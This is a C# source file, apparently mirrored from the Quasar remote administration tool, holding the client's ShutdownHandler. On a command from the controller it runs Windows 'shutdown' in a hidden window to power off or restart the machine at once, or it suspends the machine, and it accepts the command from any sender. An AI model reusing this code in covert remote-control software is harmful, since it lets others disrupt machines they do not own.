mirror of
https://github.com/quasar/Quasar.git
synced 2026-10-19 06:21:13 +08:00
59 lines
2.0 KiB
C#
59 lines
2.0 KiB
C#
using Quasar.Common.Enums;
|
|
using Quasar.Common.Messages;
|
|
using Quasar.Common.Networking;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.Windows.Forms;
|
|
|
|
namespace Quasar.Client.Messages
|
|
{
|
|
public class ShutdownHandler : IMessageProcessor
|
|
{
|
|
public bool CanExecute(IMessage message) => message is DoShutdownAction;
|
|
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
|
|
|
public void Execute(ISender sender, IMessage message)
|
|
{
|
|
switch (message)
|
|
{
|
|
case DoShutdownAction msg:
|
|
Execute(sender, msg);
|
|
break;
|
|
}
|
|
}
|
|
|
|
private void Execute(ISender client, DoShutdownAction message)
|
|
{
|
|
try
|
|
{
|
|
ProcessStartInfo startInfo = new ProcessStartInfo();
|
|
switch (message.Action)
|
|
{
|
|
case ShutdownAction.Shutdown:
|
|
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
|
startInfo.UseShellExecute = true;
|
|
startInfo.Arguments = "/s /t 0"; // shutdown
|
|
startInfo.FileName = "shutdown";
|
|
Process.Start(startInfo);
|
|
break;
|
|
case ShutdownAction.Restart:
|
|
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
|
startInfo.UseShellExecute = true;
|
|
startInfo.Arguments = "/r /t 0"; // restart
|
|
startInfo.FileName = "shutdown";
|
|
Process.Start(startInfo);
|
|
break;
|
|
case ShutdownAction.Standby:
|
|
Application.SetSuspendState(PowerState.Suspend, true, true); // standby
|
|
break;
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
client.Send(new SetStatus { Message = $"Action failed: {ex.Message}" });
|
|
}
|
|
}
|
|
}
|
|
}
|